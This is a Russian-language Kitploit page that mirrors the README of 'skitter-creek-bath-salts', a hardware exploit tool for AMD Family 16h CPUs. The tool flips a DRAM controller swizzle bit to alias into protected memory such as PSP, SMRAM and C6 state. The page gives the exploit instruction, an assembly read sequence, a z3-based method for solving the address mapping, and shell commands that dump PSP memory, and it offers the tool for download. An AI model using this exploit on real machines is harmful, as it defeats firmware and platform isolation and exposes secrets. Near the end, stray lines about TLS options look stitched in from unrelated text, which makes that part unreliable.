Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
skitter-creek-bath-salts — Разблокировка _всего_ на CPU с помощью скремблирования DRAM | Kitploit
Инструменты/GitHubGitHub/xoreaxeaxeax/skitter-creek-bath-salts
Анализ уязвимостейЭксплуатацияОбратная инженерияАппаратный ХакингАппаратная БезопасностьАнализ Прошивок
GitHubxoreaxeaxeax/skitter-creek-bath-salts

skitter-creek-bath-salts

Разблокировка _всего_ на CPU с помощью скремблирования DRAM

Репозиторий
2.3k186913 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Полный набор инструментов OSINT: граф расследования, оценка достоверности, семейства псевдонимов, карта, временная шкала и отчёты. 49 модулей, более 400 сайтов, API-ключи не требуются.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Приложение GhostLock с запуском в один клик (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    Платформа CSIRT, которая загружает отчёты Shadowserver в MongoDB и воспроизводит их в виде интерактивных карт, аналитики, результатов, рекомендаций и исполнительных дашбордов.

    381
  • 4

    ARTEX

    baarai/artex

    Платформа автономного тестирования на проникновение на основе мультиагентной LLM с агентами-планировщиками и агентами-исполнителями, графами активов и исследования, записью MITM-трафика и повторной проверкой уязвимостей.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Система действий для кибербезопасности на базе ИИ — где намерение превращается в управляемое исполнение, доказательства становятся оперативной памятью, а каждая операция улучшает следующую.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Браузерный инструментарий для red team с 102 офлайн-инструментами для разведки, генерации полезной нагрузки, атак на учётные данные, криптографии, кодирования и отчётности по проектам.

    305

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
# skitter-creek-bath-salts

> *Разблокировка **всего** на CPU с помощью скремблирования DRAM — PSP, C6, микрокод,
> SMM и всего остального, что осталось за рамками спецификаций.*

`&x == &x`.

Обычно.

![Unspaghettifying DRAM](https://assets.kitploit.com/production/public/readmes/50084/b1b8c94a6adabe871f8c3f9d181070b369561a5b4baf6d70242f0542aa55d7a3.gif)

Ткните в контроллер DRAM, и адрес можно заставить попасть куда угодно в
памяти. `skitter-creek-bath-salts` модифицирует нижние слои иерархии памяти,
чтобы перекоммутировать трансляции физических адресов DRAM. Это скремблирует
память платформы, обнажая защищённые области DRAM — вырезы, невидимые даже
для ядра. Когда трансляции адресов ломаются, ломаются и примитивы
безопасности, построенные на них, и мы разблокируем *всё*.

---

## TL;DR

- [Разблокируйте ваш Platform Security Processor](#quick-start-unlock-your-platform-security-processor)
- [Разблокируйте System Management Mode](#quick-start-unlock-system-management-mode)
- [Разблокируйте C6 DRAM](#quick-start-unlock-cc6-dram)
- [Разблокируйте микрокод вашего CPU](#quick-start-unlock-your-cpu-microcode)

---

## Цель

Разработано и протестировано на **AMD Family 16h CPUs**, последнем поколении,
в даташитах которого документированы регистры трансляции контроллера DRAM — и
показано, что их нельзя заблокировать. 17h и далее просто опускают эту
информацию. [Одиссея `*p`](#the-odyssey-of-p) похожа across generations и
архитектур, а лежащие в основе преобразования простираются даже до ARM, RISC-V и
дальше; `skitter-creek-bath-salts` показывает нам [**лишь то, как начать**](#the-shared-pipeline).

---

## Одиссея `*p`

> *Это долгий путь вниз.*

Память построена на слоях абстракции настолько глубоких, что они становятся почти
абсурдными. Когда ваш код разыменовывает `*p`, кажется, что он обращается к DRAM по адресу `p`. Это не так —
`p` — это виртуальный адрес, и прежде чем будет затронут хотя бы один бит DRAM, он должен
пройти через испытание, описанное ниже:```
         ── CPU core / MMU ─────────────────────────────────────────────────
       ┌─ VA                                                  ← 64-bit virtual address from load/store
       │
       └> canonical-form check ──────────────────────┐        ← bits [63:48] sign-extend from bit 47
       ┌─ segment base add <─────────────────────────┘        ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
       │
       └> TLB probe ─────────────────────────────────┐        ← tagged by PCID (host) / VPID (guest)
              hit  → physical address k              │
              miss → engage hardware page walker     │
       ┌─ page walk (from CR3) <─────────────────────┘        ← walked only on TLB miss
       │      PML5[VA 56:48]                                  ← only if CR4.LA57
       │      PML4[VA 47:39]
       │      PDPT[VA 38:30]                                  ← 1 GiB leaf possible
       │      PD  [VA 29:21]                                  ← 2 MiB leaf possible
       │      PT  [VA 20:12]
       │      PTE                                             ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
       │
       └> per-level checks ──────────────────────────┐        ← evaluated at every level of the walk
              privilege (U/S)                        │        ← CPL vs PTE.U/S
              write    (R/W)                         │        ← + CR0.WP
              execute  (NX)                          │        ← EFER.NXE
              SMEP / SMAP                            │        ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
              protection keys                        │        ← PKRU (user) · IA32_PKRS (supervisor)
       ┌─ A/D bit update <───────────────────────────┘        ← locked RMW on PTE
       │
       └> if guest: EPT / NPT re-walk ───────────────┐        ← each guest-PA above re-walked
              EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT  │        ← + EPT memory-type override
              ⇒ ~5× walks per single guest walk      │
       ┌─ TLB shootdown IPIs <───────────────────────┘        ← invlpg broadcast to peer vCPUs
       │
       │ ── IOMMU  (chipset / I/O fabric) ──────────────────────────────────
       │
       └> if device-initiated, IOMMU page walk ──────┐        ← VT-d / AMD-Vi: device-ID → domain → tables
                                                     │
       ┌──  **physical address k** <─────────────────┘
       │
       │ ── CPU core / MMU — memory-type resolution ────────────────────────
       │
       └> MTRR range match ──────────────────────────┐        ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
       ┌─ PAT entry select <─────────────────────────┘        ← IA32_PAT[ PTE.PAT:PCD:PWT ]
       │
       └> effective memory type ─────────────────────┐        ← { WB, WT, WC, WP, UC-, UC }
                                                     │
         ── CPU uncore — caches & coherence ────────────────────────────────
                                                     │
       ┌─ L1-D probe <───────────────────────────────┘        ← VIPT, per-core
       │
       └> L2 probe ──────────────────────────────────┐        ← per-core / per-CCX
       ┌─ LLC probe + directory consult <────────────┘        ← shared, sliced
       │
       └> snoop / coherence ─────────────────────────┐        ← MESI / MOESI broadcast
              intra-socket                           │        ← broadcast to peer cores
              inter-socket                           │        ← QPI · UPI · Infinity Fabric · CXL.cache
              home-node directory response           │        ← data | intervention | abort
                                                     │
         ── system data fabric / interconnect ──────────────────────────────
                                                     │
       ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘        ← uncore/data fabric posted/non-posted txn
       │      → device BAR; done
       │
       └> else DRAM-bound: data fabric / mesh ───────┐        ← AMD DF · Intel mesh-or-ring uncore
                                                     │
  ┏━━      ── MCT / IMC (memory controller) ────────────────────────────────
W ┃    ┌─ DRAM hole remap <──────────────────────────┘        ← high-memory remap above TOM
E ┃    │
  ┃    └> memory-region exclusion remap ─────────────┐        ← reserved / protected ranges
  ┃    ┌─ channel interleave hash <──────────────────┘        ← XOR of selected PA bits → channel
A ┃    │
R ┃    └> rank interleave hash ──────────────────────┐        ← XOR of selected PA bits → rank
E ┃    ┌─ bank interleave hash <─────────────────────┘        ← XOR of selected PA bits → bank
  ┃    │
  ┃    └> bank swizzle / XOR scramble ───────────────┐        ← vendor- and BIOS-configurable
H ┃    ┌─ chip-select normalize (DCT) <──────────────┘        ← per-rank CS line
E ┃    │      rank → CS map
R ┃    │
E ┃    └> sub-channel select ────────────────────────┐        ← DDR5 / LPDDR5 only
  ┗━━                                                │
                                                     │
          DRAM coordinates <─────────────────────────┘        ← bank group · bank · row (RAS) · column (CAS)
```
Этот проект работает на самых глубоких уровнях конвейера `*p`, на уровне MCT/DCT
— там, где физический адрес из data fabric/interconnect попадает в контроллер
памяти и переписывается в последний раз в необработанные координаты DRAM, которые
выдаются на DIMM.

---

## Спагеттификация DRAM

> Физические адреса — это, скорее, рекомендация.```nasm
xor dword [0xf80c2094], 0x00400000
```
Вот эксплойт. Весь целиком.

Один бит-флип в контроллере DRAM перекоммутирует нижнюю часть конвейера `*p`, и данные, которые были по адресу `&x`, оказываются где-то ещё в процессе выполнения. Внезапно `&x != &x`. Все механизмы, которые CPU, прошивка, uncore и чипсет используют для изоляции защищённой памяти, находятся выше контроллера памяти, и ни один из них не видит того, что происходит ниже. Барьеры охраняют физические адреса, а не координаты DRAM; переставьте координаты — и барьеры выше этого никогда не заметят.

Но перекоммутировать DRAM легко. Бит выше — это режим bank-swizzle в DCT, и он лишь один из десятков, управляющих переотображением адресов на финальном уровне — достаточно лишь ткнуть в них, чтобы всё, что построено сверху, рухнуло. Сложнее потом удержать платформу в рабочем состоянии, когда вся системная память перемешивается под ней.

Трюк: действовать быстро и *не трогать DRAM*. Отключить AP, прогреть TLB, разогреть кэш, запретить прерывания, сбросить цель, сериализовать обращения к памяти и надеяться, что CPU предвыбрал предстоящие инструкции. Затем перекоммутировать MCT/DCT, чтобы превратить DRAM в спагетти, вытащить немного данных из защищённой области, вернуть отображения, снова сериализовать, разрешить прерывания, возобновить AP — и платформа возвращается в норму.```nasm
mov eax, [0xf80c2094]          ; prime mmio TLB
mov eax, [0x6f800000]          ; prime target TLB
pushf                          ; preserve flags
cli                            ; interrupts off
clflush [0x6f800000]           ; evict the target, force the dram read
mfence                         ; barrier - no coherent world dram access
lfence                         ;   reordered into spaghettified view
xor dword [0xf80c2094], 1<<22  ; flip dct swizzle → spaghettify dram
mov ebx, [0x6f800000]          ; fetch target in spaghettified view
xor dword [0xf80c2094], 1<<22  ; restore dct swizzle → unscramble
mfence                         ; barrier - no spaghettified dram access
lfence                         ;   reordered into coherent world view
popf                           ; interrupts back on
```
При аккуратной настройке страничной адресации, состояний кэша, потоков и TLB можно заставить перестановку адресов работать из C, чтобы проиллюстрировать коллапс конвейера `*p` и искажённое представление платформы, когда внезапно `&x != &x`:

![Манипуляция &x](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

Таким образом, мы можем перестроить карту и восстановить её без следа. Остаётся лишь узнать, во что именно мы её перестроили.

---

## Разблокировка *всего*

> Любая защищённая область памяти на платформе, достижимая с помощью калькулятора.

С помощью описанного выше подхода мы можем перепрограммировать преобразование MCT/DCT на работающей системе — перестроив самую нижнюю ступень конвейера `*p`, чтобы перемешать память под всеми защитами, построенными над ней.

Но есть проблема: хотя мы можем перепрограммировать трансляцию простой командой `xor dword [0xf80c2094], 0x00400000`, мы понятия не имеем, какие новые преобразования будет использовать MCT/DCT (документация здесь недостаточно подробна — xor-карты неверны, вычитающая ступень MMIO неупорядочена, а детали различаются между моделями). Без этого память перемешивается, но у нас нет способа её восстановить.

К счастью, преобразование адресов в контроллере DRAM является линейным отображением над GF(2), а значит, мы можем восстановить перемешанную память с помощью базовой линейной алгебры.

Сначала рассмотрим обычный случай: прямое преобразование конфигурации MCT/DCT по умолчанию применяется к некоторому физическому адресу, который попадает в секретную область DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret
```
Это *согласованное* представление памяти: низшая ступень конвейера `*p`
работает в точности так, как должна.

Теперь перекоммутируйте ступень MCT/DCT в `*p` с помощью `xor dword [0xf80c2094], 0x00400000`,
и платформа переходит в перемешанное/спагеттифицированное представление памяти, где
другое преобразование позволяет *алиасу* достичь того же секрета в DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_attacker                alias     secret
```
Этот псевдоним позволяет нам достичь того же секрета, не затрагивая существующие платформенные
блокировки и защиты, созданные для когерентного представления. Чтобы найти псевдоним, скомпонуйте
обратную от атакующего/спагеттифицированного хеша с прямой от
прошивочного/когерентного хеша, чтобы получить трансляцию, которая достигнет любого секрета из
вредоносной конфигурации MCT/DCT:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias
```
Сложность лишь в том, что матрицы неизвестны, а значит, мы *понятия не имеем*, как на самом деле перемешана память, и у нас нет преобразования, которое можно было бы использовать, чтобы добраться до секрета:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 1 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │  =  │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 1 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │   │ 0 │     │ ? │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias
```
К счастью, на этом этапе это уже просто линейная алгебра, и при желании преобразования можно решить вручную. Или: калькулятором.

Мы используем [z3](https://github.com/z3prover/z3). Сначала SMT-решателю нужны ограничения, с которыми он будет работать.

Начните в когерентном представлении, измените MCT/DCT, чтобы переключиться на «спагеттифицированное» представление, запишите какое-нибудь сигнальное значение вроде `0xdeadc0de` по случайному адресу в памяти, переключитесь обратно в когерентное представление и просканируйте память в поисках того, где это сигнальное значение всплывёт снова. Это даёт пару (цель, алиас) — конкретную точку данных, показывающую два физических адреса, которые отображаются на одну и ту же ячейку в DRAM. Повторите процесс, соберите несколько таких точек, передайте их в z3, и он решит матрицу преобразования, необходимую для перевода между двумя представлениями — любой физический адрес в когерентном представлении с одной стороны и его алиас в «спагеттифицированном» представлении с другой:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias
```
Передача пар алиасов в z3 по одной позволяет наблюдать, как SMT-решатель расшифровывает
перемешивание памяти в реальном времени, как показано на [открывающем
изображении](#skitter-creek-bath-salts).

Решённое преобразование — это розеттский камень: любой целевой адрес в когерентном представлении
отображается на алиас, который достигает той же DRAM в спагеттифицированном представлении. Чтобы достичь
любой защищённой памяти, возьмите адрес, к которому мы обычно не можем получить доступ — приватная
память PSP, SMRAM, состояние простоя C6 — и пропустите его через преобразование, чтобы получить его
алиас. Затем перекоммутируйте DCT с помощью `xor dword [0xf80c2094], 0x00400000`, прочитайте или
запишите алиас и переключитесь обратно вторым `xor`. Путь алиаса через
конвейер `*p` никогда не встречает барьер, который платформа построила для когерентного представления —
неограниченный доступ к чему угодно в DRAM.

![разблокировка DRAM](https://assets.kitploit.com/production/public/readmes/50084/b47e56236d000ca8c4e1e865c814c41c1ec1fc9add5bad91f8da6e4ca0491bc7.gif)

В конце концов, всё столь тщательно отгороженное — приватная память PSP, SMRAM,
состояние простоя C6, недоступные из ОС, ring-0, иногда и сам CPU — всё ещё находится в тех же
конденсаторах DRAM. Но замки были построены вокруг когерентного представления памяти и ничего не делают
против спагеттифицированного алиаса, достигающего той же ячейки.

Переверните один бит на последнем уровне конвейера `*p`, и мы разблокировали
всё.

---

## Быстрый старт: разблокируйте свой Platform Security Processor

> *Вмешайтесь в свой PSP, посмотрите, что произойдёт.*

fTPM работает на собственном ядре ARM процессора PSP, в выделенной области DRAM сразу за
видимой верхней границей памяти. Доберитесь до неё, заалиасив видимый ОС физический адрес
на неё, извлеките байты, дизассемблируйте.```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1

# Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
# 0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
# matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

# The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
# (0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
    --start-address=$((PSP_BASE + 0x19d4)) \
    --stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
    -D psp.bin
```
- **`--no-verify`** — пропустить проверку TLS-сертификата (небезопасно, только для тестирования)
- **`--timeout`** — таймаут запроса в секундах (по умолчанию: 10)
```

---

[Read more](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts)
Скачать инструмент